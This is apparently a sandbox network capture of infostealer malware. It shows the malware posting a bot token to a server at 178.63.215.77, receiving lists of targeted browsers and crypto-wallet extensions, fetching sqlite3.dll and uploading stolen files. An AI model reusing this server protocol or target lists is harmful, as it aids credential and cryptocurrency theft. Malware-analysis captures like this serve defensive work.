Oct 12, 2024 14:17:02.890317917 CEST	468	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB Host: 178.63.215.77 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"browsers------CFHCGHJDBFIIDGDHIJDB--
Oct 12, 2024 14:17:03.084217072 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 12, 2024 14:17:03.084254980 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 12, 2024 14:17:03.085746050 CEST	467	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCG Host: 178.63.215.77 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="message"plugins------HIDGCFBFBFBKEBGCAFCG--
Oct 12, 2024 14:17:03.279434919 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 12, 2024 14:17:03.279493093 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 12, 2024 14:17:03.279531002 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 12, 2024 14:17:03.279567003 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 12, 2024 14:17:03.279602051 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Oct 12, 2024 14:17:03.279654980 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Oct 12, 2024 14:17:03.279691935 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Oct 12, 2024 14:17:03.284805059 CEST	468	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 178.63.215.77 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"fplugins------IDGHDGIDAKEBAAKFCGHC--
Oct 12, 2024 14:17:03.478061914 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 12, 2024 14:17:03.589624882 CEST	201	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 178.63.215.77 Content-Length: 5959 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:03.589696884 CEST	5959	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 12, 2024 14:17:03.800952911 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:04.144223928 CEST	92	OUT	GET /a43eb2d9880da9a6/sqlite3.dll HTTP/1.1 Host: 178.63.215.77 Cache-Control: no-cache
Oct 12, 2024 14:17:04.336834908 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 12, 2024 14:17:04.336889029 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 12, 2024 14:17:04.336924076 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 12, 2024 14:17:05.548226118 CEST	201	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 178.63.215.77 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:05.752206087 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:05.829261065 CEST	201	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDA Host: 178.63.215.77 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:06.165119886 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:06.195749044 CEST	563	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJE Host: 178.63.215.77 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="file"------HCGCBFHCFCFBFIEBGHJE--
Oct 12, 2024 14:17:06.394643068 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:06.935034037 CEST	563	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFC Host: 178.63.215.77 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 